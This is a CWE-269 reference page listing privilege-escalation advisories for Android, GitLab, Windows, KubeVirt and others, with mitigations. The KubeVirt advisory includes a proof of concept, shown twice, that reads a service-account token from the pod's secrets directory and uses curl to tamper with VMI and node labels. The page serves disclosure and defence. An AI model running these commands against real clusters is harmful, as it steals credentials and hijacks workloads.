CWE-269
DiscouragedImproper Privilege Management
Abstraction: Class · Status: Draft
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
5612 vulnerabilities reference this CWE, most recent first.
GHSA-7X3M-2R67-PCVF
Vulnerability from github – Published: 2024-03-11 21:31 – Updated: 2024-08-05 21:31In ppcfw_init_secpolicy of ppcfw.c, there is a possible permission bypass due to uninitialized data. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2024-27233"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-11T19:15:48Z",
"severity": "HIGH"
},
"details": "In ppcfw_init_secpolicy of ppcfw.c, there is a possible permission bypass due to uninitialized data. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
"id": "GHSA-7x3m-2r67-pcvf",
"modified": "2024-08-05T21:31:18Z",
"published": "2024-03-11T21:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27233"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/pixel/2024-03-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7X52-3X7C-GWJ6
Vulnerability from github – Published: 2024-02-12 21:30 – Updated: 2024-02-12 21:30An issue has been discovered in GitLab EE affecting all versions starting from 16.8 before 16.8.2. When a user is assigned a custom role with manage_group_access_tokens permission, they may be able to create group access tokens with Owner privileges, which may lead to privilege escalation.
{
"affected": [],
"aliases": [
"CVE-2024-1250"
],
"database_specific": {
"cwe_ids": [
"CWE-268",
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-12T21:15:08Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab EE affecting all versions starting from 16.8 before 16.8.2. When a user is assigned a custom role with manage_group_access_tokens permission, they may be able to create group access tokens with Owner privileges, which may lead to privilege escalation.",
"id": "GHSA-7x52-3x7c-gwj6",
"modified": "2024-02-12T21:30:55Z",
"published": "2024-02-12T21:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1250"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/439175"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7X5M-MV5W-R3PM
Vulnerability from github – Published: 2022-05-24 17:44 – Updated: 2022-05-24 17:44Remote Access API Elevation of Privilege Vulnerability
{
"affected": [],
"aliases": [
"CVE-2021-26882"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-11T16:15:00Z",
"severity": "HIGH"
},
"details": "Remote Access API Elevation of Privilege Vulnerability",
"id": "GHSA-7x5m-mv5w-r3pm",
"modified": "2022-05-24T17:44:20Z",
"published": "2022-05-24T17:44:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26882"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-26882"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7X7M-6347-W9XM
Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-05-24 17:42An Insecure Direct Object Reference vulnerability exists in the web UI of the GateManager which allows an authenticated attacker to reset the password of any user in its domain or any sub-domain, via escalation of privileges. This issue affects all GateManager versions prior to 9.2c
{
"affected": [],
"aliases": [
"CVE-2020-29031"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-15T16:15:00Z",
"severity": "HIGH"
},
"details": "An Insecure Direct Object Reference vulnerability exists in the web UI of the GateManager which allows an authenticated attacker to reset the password of any user in its domain or any sub-domain, via escalation of privileges. This issue affects all GateManager versions prior to 9.2c",
"id": "GHSA-7x7m-6347-w9xm",
"modified": "2022-05-24T17:42:09Z",
"published": "2022-05-24T17:42:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-29031"
},
{
"type": "WEB",
"url": "https://www.secomea.com/support/cybersecurity-advisory/#2920"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7X97-RV2F-VJ3R
Vulnerability from github – Published: 2022-05-24 17:23 – Updated: 2022-05-24 17:23An elevation of privilege vulnerability exists when the Windows Runtime improperly handles objects in memory, aka 'Windows Runtime Elevation of Privilege Vulnerability'. This CVE ID is unique from CVE-2020-1249, CVE-2020-1353, CVE-2020-1370, CVE-2020-1399, CVE-2020-1413, CVE-2020-1414, CVE-2020-1415, CVE-2020-1422.
{
"affected": [],
"aliases": [
"CVE-2020-1404"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-07-14T23:15:00Z",
"severity": "MODERATE"
},
"details": "An elevation of privilege vulnerability exists when the Windows Runtime improperly handles objects in memory, aka \u0027Windows Runtime Elevation of Privilege Vulnerability\u0027. This CVE ID is unique from CVE-2020-1249, CVE-2020-1353, CVE-2020-1370, CVE-2020-1399, CVE-2020-1413, CVE-2020-1414, CVE-2020-1415, CVE-2020-1422.",
"id": "GHSA-7x97-rv2f-vj3r",
"modified": "2022-05-24T17:23:05Z",
"published": "2022-05-24T17:23:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1404"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1404"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7X9Q-8Q38-89CR
Vulnerability from github – Published: 2022-05-27 00:00 – Updated: 2022-06-08 00:00A logic issue was addressed with improved state management. This issue is fixed in iTunes 12.12.4 for Windows. A local attacker may be able to elevate their privileges.
{
"affected": [],
"aliases": [
"CVE-2022-26774"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-26T20:15:00Z",
"severity": "HIGH"
},
"details": "A logic issue was addressed with improved state management. This issue is fixed in iTunes 12.12.4 for Windows. A local attacker may be able to elevate their privileges.",
"id": "GHSA-7x9q-8q38-89cr",
"modified": "2022-06-08T00:00:33Z",
"published": "2022-05-27T00:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26774"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213259"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7XC9-8V36-4WXF
Vulnerability from github – Published: 2022-05-24 19:04 – Updated: 2022-07-13 00:00Improper access control in the Intel Unite(R) Client for Windows before version 4.2.25031 may allow an authenticated user to potentially enable an escalation of privilege via local access.
{
"affected": [],
"aliases": [
"CVE-2021-0098"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-09T20:15:00Z",
"severity": "HIGH"
},
"details": "Improper access control in the Intel Unite(R) Client for Windows before version 4.2.25031 may allow an authenticated user to potentially enable an escalation of privilege via local access.",
"id": "GHSA-7xc9-8v36-4wxf",
"modified": "2022-07-13T00:00:52Z",
"published": "2022-05-24T19:04:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0098"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00506.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7XGM-5PRM-V5GC
Vulnerability from github – Published: 2025-11-06 23:35 – Updated: 2025-11-27 08:49Summary
The permissions granted to the virt-handler service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.
Details
Following the GitHub security advisory published on March 23 2023, a ValidatingAdmissionPolicy was introduced to impose restrictions on which sections of node resources the virt-handler service account can modify. For instance, the spec section of nodes has been made immutable, and modifications to the labels section are now limited to kubevirt.io-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.
However, if a virt-handler service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, virt-handler sets a specific kubevirt.io boolean label, kubevirt.io/schedulable, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to false, thereby forcing all #acr("vmi") instances to be scheduled exclusively on the compromised node.
Another finding describes how a compromised virt-handler instance can perform operations on other nodes that are intended to be executed solely by virt-api. This significantly increases both the impact and the likelihood of the vulnerability being exploited
Additionally, by default, the virt-handler service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet's NodeRestriction feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.
PoC
By injecting incorrect data into a running VMI, for example, by altering the kubevirt.io/nodeName label to reference a different node, the VMI is marked as terminated and its state transitions to Succeeded. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker's choosing. As an example, the following demonstrates how to instantiate a basic VMI:
apiVersion: kubevirt.io/v1
kind: VirtualMachine
metadata:
name: testvm
spec:
runStrategy: Always
template:
metadata:
labels:
kubevirt.io/size: small
kubevirt.io/domain: testvm
spec:
domain:
devices:
disks:
- name: containerdisk
disk:
bus: virtio
- name: cloudinitdisk
disk:
bus: virtio
interfaces:
- name: default
masquerade: {}
resources:
requests:
memory: 64M
networks:
- name: default
pod: {}
volumes:
- name: containerdisk
containerDisk:
image: quay.io/kubevirt/cirros-container-disk-demo
- name: cloudinitdisk
cloudInitNoCloud:
userDataBase64: SGkuXG4=
The VMI is then created on a minikube node identified with minikube-m02:
operator@minikube:~$ kubectl get vmi testvm
NAME AGE PHASE IP NODENAME READY
testvm 20s Running 10.244.1.8 minikube-m02 True
Assume that a virt-handler pod, running on node minikube-m03, is compromised and an attacker and the latter wants the testvm to be re-deployed on a controlled by them node.
First, we retrieve the virt-handler service account token in order to be able to perform requests to the Kubernetes API:
# Get the `virt-handler` pod name
attacker@minikube-m03:~$ kubectl get pods -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler
virt-handler-kblgh 1/1 Running 0 8d
# get the `virt-handler` SA account token
attacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
The attacker updates the VMI object labels in a way that makes it terminate:
# Save the current state of the VMI
attacker@minikube-m03:~$ kubectl get vmi testvm -o json > testvm.json
# replace the current `nodeName` to another one in the JSON file
attacker@minikube-m03:~$ sed -i 's/"kubevirt.io\/nodeName": "minikube-m02"/"kubevirt.io\/nodeName": "minikube-m03"/g' testvm.json
# Perform the UPDATE request, impersonating the virt-handler
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k -X PUT -d @testvm.json -H "Content-Type: application/json" -H "Authorization: bearer $token"
# Get the current state of the VMI after the UPDATE
attacker@minikube-m03:~$ kubectl get vmi testvm
NAME AGE PHASE IP NODENAME READY
testvm 42m Running 10.244.1.8 minikube-m02 False # The VMI is not ready anymore
# Get the current state of the pod after the UPDATE
attacker@minikube-m03:~$ kubectl get pods | grep launcher
virt-launcher-testvm-z2fk4 0/3 Completed 0 44m # the `virt-launcher` pod is completed
Now, the attacker can use the excessive permissions of the virt-handler service account to patch the minikube-m02 node in order to mark it as unschedulable for VMI workloads:
attacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H "Authorization: Bearer $token" -H "Content-Type: application/strategic-merge-patch+json" --data '{"metadata":{"labels":{"kubevirt.io/schedulable":"false"}}}' -X PATCH
Note: This request could require multiple invocations as the virt-handler is continuously updating the schedulable state of the node it is running on.
Finally, an admin user decides to restart the VMI:
admin@minikube:~$ kubectl delete -f testvm.yaml
admin@minikube:~$ kubectl apply -f testvm.yaml
admin@minikube:~$ kubectl get vmi testvm
NAME AGE PHASE IP NODENAME READY
testvm 80s Running 10.244.0.15 minikube-m03 True
Identifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the userInfo object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes' NodeRestriction feature gate. Since Kubernetes version 1.32, the node authorization mode, enforced via the NodeRestriction admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.
An alternative approach would be to create a dedicated virt-handler service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the userInfo.username field of the AdmissionRequest object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.
Impact
This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "kubevirt.io/kubevirt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64436"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-276"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-06T23:35:49Z",
"nvd_published_at": "2025-11-07T23:15:46Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe permissions granted to the `virt-handler` service account, such as the ability to update VMI and patch nodes, could be abused to force a VMI migration to an attacker-controlled node.\n\n### Details\n\nFollowing the [GitHub security advisory published on March 23 2023](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-cp96-jpmq-xrr2), a `ValidatingAdmissionPolicy` was introduced to impose restrictions on which sections of node resources the `virt-handler` service account can modify. For instance, the `spec` section of nodes has been made immutable, and modifications to the `labels` section are now limited to `kubevirt.io`-prefixed labels only. This vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.\n\n\nHowever, if a `virt-handler` service account is compromised, either through the pod itself or the underlying node, an attacker may still modify node labels, both on the compromised node and on other nodes within the cluster. Notably, `virt-handler` sets a specific `kubevirt.io` boolean label, `kubevirt.io/schedulable`, which indicates whether the node can host VMI workloads. An attacker could repeatedly patch other nodes by setting this label to `false`, thereby forcing all #acr(\"vmi\") instances to be scheduled exclusively on the compromised node.\n\n[Another finding](https://github.com/kubevirt/kubevirt/security/advisories/GHSA-ggp9-c99x-54gp) describes how a compromised `virt-handler` instance can perform operations on other nodes that are intended to be executed solely by `virt-api`. This significantly increases both the impact and the likelihood of the vulnerability being exploited\n\n\nAdditionally, by default, the `virt-handler` service account has permission to update all VMI resources across the cluster, including those not running on the same node. While a security mechanism similar to the kubelet\u0027s `NodeRestriction` feature exists to limit this scope, it is controlled by a feature gate and is therefore not enabled by default.\n\n\n\n### PoC\n\nBy injecting incorrect data into a running VMI, for example, by altering the `kubevirt.io/nodeName` label to reference a different node, the VMI is marked as terminated and its state transitions to `Succeeded`. This incorrect state could mislead an administrator into restarting the VMI, causing it to be re-created on a node of the attacker\u0027s choosing. As an example, the following demonstrates how to instantiate a basic VMI:\n\n```yaml\napiVersion: kubevirt.io/v1\nkind: VirtualMachine\nmetadata:\n name: testvm\nspec:\n runStrategy: Always\n template:\n metadata:\n labels:\n kubevirt.io/size: small\n kubevirt.io/domain: testvm\n spec:\n domain:\n devices:\n disks:\n - name: containerdisk\n disk:\n bus: virtio\n - name: cloudinitdisk\n disk:\n bus: virtio\n interfaces:\n - name: default\n masquerade: {}\n resources:\n requests:\n memory: 64M\n networks:\n - name: default\n pod: {}\n volumes:\n - name: containerdisk\n containerDisk:\n image: quay.io/kubevirt/cirros-container-disk-demo\n - name: cloudinitdisk\n cloudInitNoCloud:\n userDataBase64: SGkuXG4=\n```\n\nThe VMI is then created on a minikube node identified with `minikube-m02`:\n\n```bash\noperator@minikube:~$ kubectl get vmi testvm\nNAME AGE PHASE IP NODENAME READY\ntestvm 20s Running 10.244.1.8 minikube-m02 True\n```\n\nAssume that a `virt-handler` pod, running on node `minikube-m03`, is compromised and an attacker and the latter wants the `testvm` to be re-deployed on a controlled by them node.\n\nFirst, we retrieve the `virt-handler` service account token in order to be able to perform requests to the Kubernetes API:\n\n```bash\n# Get the `virt-handler` pod name\nattacker@minikube-m03:~$ kubectl get pods -n kubevirt --field-selector spec.nodeName=minikube-m03 | grep virt-handler\nvirt-handler-kblgh 1/1 Running 0 8d\n# get the `virt-handler` SA account token\nattacker@minikube-m03:~$ token=$(kubectl exec -it virt-handler-kblgh -n kubevirt -c virt-handler -- cat /var/run/secrets/kubernetes.io/serviceaccount/token) \n```\n\nThe attacker updates the VMI object labels in a way that makes it terminate:\n\n```bash\n# Save the current state of the VMI\nattacker@minikube-m03:~$ kubectl get vmi testvm -o json \u003e testvm.json\n# replace the current `nodeName` to another one in the JSON file\nattacker@minikube-m03:~$ sed -i \u0027s/\"kubevirt.io\\/nodeName\": \"minikube-m02\"/\"kubevirt.io\\/nodeName\": \"minikube-m03\"/g\u0027 testvm.json \n# Perform the UPDATE request, impersonating the virt-handler\nattacker@minikube-m03:~$ curl https://192.168.49.2:8443/apis/kubevirt.io/v1/namespaces/default/virtualmachineinstances/testvm -k -X PUT -d @testvm.json -H \"Content-Type: application/json\" -H \"Authorization: bearer $token\"\n# Get the current state of the VMI after the UPDATE\nattacker@minikube-m03:~$ kubectl get vmi testvm\nNAME AGE PHASE IP NODENAME READY\ntestvm 42m Running 10.244.1.8 minikube-m02 False # The VMI is not ready anymore\n# Get the current state of the pod after the UPDATE\nattacker@minikube-m03:~$ kubectl get pods | grep launcher\nvirt-launcher-testvm-z2fk4 0/3 Completed 0 44m # the `virt-launcher` pod is completed\n```\n\nNow, the attacker can use the excessive permissions of the `virt-handler` service account to patch the `minikube-m02` node in order to mark it as unschedulable for VMI workloads:\n\n```bash\nattacker@minikube-m03:~$ curl https://192.168.49.2:8443/api/v1/nodes/minikube-m03 -k -H \"Authorization: Bearer $token\" -H \"Content-Type: application/strategic-merge-patch+json\" --data \u0027{\"metadata\":{\"labels\":{\"kubevirt.io/schedulable\":\"false\"}}}\u0027 -X PATCH\n```\n\n**Note: This request could require multiple invocations as the `virt-handler` is continuously updating the schedulable state of the node it is running on**.\n\nFinally, an admin user decides to restart the VMI:\n\n```bash\nadmin@minikube:~$ kubectl delete -f testvm.yaml\nadmin@minikube:~$ kubectl apply -f testvm.yaml\nadmin@minikube:~$ kubectl get vmi testvm\nNAME AGE PHASE IP NODENAME READY\ntestvm 80s Running 10.244.0.15 minikube-m03 True\n```\n\nIdentifying the origin node of a request is not a straightforward task. One potential solution is to embed additional authentication data, such as the `userInfo` object, indicating the node on which the service account is currently running. This approach would be similar to Kubernetes\u0027 `NodeRestriction` feature gate. Since Kubernetes version 1.32, the `node` authorization mode, enforced via the `NodeRestriction` admission plugin, is enabled by default for kubelets running in the cluster. The equivalent feature gate in KubeVirt should likewise be enabled by default when the underlying Kubernetes version is 1.32 or higher.\n\nAn alternative approach would be to create a dedicated `virt-handler` service account for each node, embedding the node name into the account identity. This would allow the origin node to be inferred from the `userInfo.username` field of the `AdmissionRequest` object. However, this method introduces additional operational overhead in terms of monitoring and maintenance.\n\n\n### Impact\n\nThis vulnerability could otherwise allow an attacker to mark all nodes as unschedulable, potentially forcing the migration or creation of privileged pods onto a compromised node.",
"id": "GHSA-7xgm-5prm-v5gc",
"modified": "2025-11-27T08:49:08Z",
"published": "2025-11-06T23:35:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kubevirt/kubevirt/security/advisories/GHSA-7xgm-5prm-v5gc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64436"
},
{
"type": "PACKAGE",
"url": "https://github.com/kubevirt/kubevirt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "KubeVirt Excessive Role Permissions Could Enable Unauthorized VMI Migrations Between Nodes"
}
GHSA-7XQ5-PV6V-GJV2
Vulnerability from github – Published: 2022-05-24 19:17 – Updated: 2022-05-24 19:17Windows Nearby Sharing Elevation of Privilege Vulnerability
{
"affected": [],
"aliases": [
"CVE-2021-40464"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-10-13T01:15:00Z",
"severity": "HIGH"
},
"details": "Windows Nearby Sharing Elevation of Privilege Vulnerability",
"id": "GHSA-7xq5-pv6v-gjv2",
"modified": "2022-05-24T19:17:31Z",
"published": "2022-05-24T19:17:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40464"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-40464"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7XVR-65PR-345W
Vulnerability from github – Published: 2022-05-24 17:19 – Updated: 2022-05-24 17:19An elevation of privilege vulnerability exists when the Windows Runtime improperly handles objects in memory, aka 'Windows Runtime Elevation of Privilege Vulnerability'. This CVE ID is unique from CVE-2020-1231, CVE-2020-1233, CVE-2020-1265, CVE-2020-1282, CVE-2020-1304, CVE-2020-1306, CVE-2020-1334.
{
"affected": [],
"aliases": [
"CVE-2020-1235"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-06-09T20:15:00Z",
"severity": "MODERATE"
},
"details": "An elevation of privilege vulnerability exists when the Windows Runtime improperly handles objects in memory, aka \u0027Windows Runtime Elevation of Privilege Vulnerability\u0027. This CVE ID is unique from CVE-2020-1231, CVE-2020-1233, CVE-2020-1265, CVE-2020-1282, CVE-2020-1304, CVE-2020-1306, CVE-2020-1334.",
"id": "GHSA-7xvr-65pr-345w",
"modified": "2022-05-24T17:19:52Z",
"published": "2022-05-24T17:19:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1235"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1235"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-48
Strategy: Separation of Privilege
Follow the principle of least privilege when assigning access rights to entities in a software system.
Mitigation MIT-49
Strategy: Separation of Privilege
Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
CAPEC-122: Privilege Abuse
An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.
CAPEC-233: Privilege Escalation
An adversary exploits a weakness enabling them to elevate their privilege and perform an action that they are not supposed to be authorized to perform.
CAPEC-58: Restful Privilege Elevation
An adversary identifies a Rest HTTP (Get, Put, Delete) style permission method allowing them to perform various malicious actions upon server data due to lack of access control mechanisms implemented within the application service accepting HTTP messages.